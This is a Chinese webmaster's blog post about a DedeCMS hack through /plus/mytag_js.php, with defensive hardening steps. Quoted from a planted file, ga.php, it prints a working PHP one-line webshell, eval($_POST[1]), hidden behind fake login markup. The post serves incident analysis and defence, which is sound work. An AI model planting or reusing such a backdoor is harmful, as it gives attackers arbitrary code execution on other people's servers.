因为我比较喜欢寻根究底,所以就去网上找了一下相关的资料,发现这确实是dedecms的漏洞,黑客可以利用多维的变量绕过正则检测,漏洞主要发生在/plus/mytag_js.php中,原理便是准备一个MySQL数据库来攻击已知网站的数据库,通过向数据库中写入一句话的代码,只要成功写入,那么以后便可以利用这些代码来获得后台管理员权限。
结合我的网站被攻击已经别人类似的经历来看,黑客写入的文件主要存在于/plus/文件夹下,目前已知的几个文件包括ga.php、log.php、b.php、b1.php等,文件的特征便是短小,内容很少,可能写入的时候不是很方便,不过这些代码的作用确实不小的。
下面这是ga.php文件中的部分代码:
<title>login</title>no<?php
eval($_POST[1])
?>
<title>login</title>no<?php
eval($_POST[1])
?>
<title>login</title>no<?php
eval($_POST[1])
?>
实际的代码比上面截取的要长,不过都是这段代码的重复,至于log.php的代码,同这个类似,只有一句话,简单明了,如果你对网络安全稍有了解,那么会知道是php一句话木马,使用部分指定的工具可以执行这段代码,预计是破解密码的功能。
既然已经知道对方是利用什么样的漏洞,同时知道对方利用什么样的原理来利用漏洞,那么要怎么预防这些危险的事发生呢?经过查询大量的资料,我初步整理出下面这些预防漏洞被利用的步骤,希望对同样适用dedecms的站长朋友们有所帮助。
一、升级版本打好补丁设置目录权限
这是官方对此的解决办法,不管你使用的是什么版本的dedecms,都要及时在后台升级版本自动更新补丁,这是避免漏洞被利用的最重要的一步;同时官方还提供设置目录的方法,主要是设置data、templets、uploads、a为可读写不可执行权限;include、member、plus、后台管理目录等设置为可执行可读不可写入权限;删除install及special目录,具体如何设置见官方说明。
二、修改admin账号及密码
黑客可能是利用默认admin账号,随后推测密码来破解的,所以修改默认的admin账号非常重要,至于如何修改,方法很多,比较有效的是用phpadmin登陆网站数据库,找到dede_admin数据库表(dede是数据库表前缀),修改其中userid及pwd两项,其中密码一定要修改成f297a57a5a743894a0e4,这是默认的密码admin;修改后去后台登陆,登陆dede后台后修改密码。
三、别的值得注意的地方
至于更多的细节,同样要注意,尽量别选择太廉价的空间,太廉价的空间很容易出现服务器本身的安全问题,只要服务器出现问题,整个服务器下面的网站都没救了。还有便是,如果没必要,尽量别开通会员注册什么的,使用起来很麻烦;至于网站后台目录,不要写到robots.txt里面,同时每个月至少换一次,管理员密码什么的同样要更换,避免和别的账号密码相同被推测出来。
经过这几次网站被攻击的实例,不得不说,互联网不是一个可以安心睡大觉的网,作为站长,算是织网的人,更应该注重网络安全;只要按照要求去做到了这些防范措施,不说100%,至少95%的可能不会被顺利取得后台权限。